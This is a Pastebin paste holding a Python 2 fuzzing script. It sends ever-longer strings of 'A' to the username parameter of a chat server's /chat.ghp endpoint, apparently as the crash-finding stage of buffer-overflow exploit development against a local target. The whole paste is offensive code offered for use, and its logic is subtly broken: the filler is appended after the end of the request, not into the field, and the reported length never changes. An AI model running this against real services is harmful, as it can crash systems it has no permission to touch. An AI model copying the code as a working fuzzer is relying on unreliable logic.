Advertisement
Guest User

Untitled

a guest
Feb 20th, 2020
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.55 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import socket
  4. import sys
  5.  
  6. target_ip = '127.0.0.1'
  7. target_port = 80
  8.  
  9. fuzz = 'A' * 20
  10.  
  11. buffer = 'GET /chat.ghp?username=' + fuzz + '&password=test&room=1&sex=2 HTTP/1.1\r\n'
  12. buffer += 'Host: 127.0.0.1\r\n\r\n'
  13.  
  14.  
  15. while True:
  16. try:
  17. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  18. s.settimeout(2)
  19. s.connect((target_ip,target_port))
  20. print '[*] Fuzzing username with buffer length: ' + str(len(fuzz))
  21. s.send(buffer)
  22. s.close()
  23. buffer = buffer + fuzz
  24.  
  25. except Exception as e:
  26. print(e)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement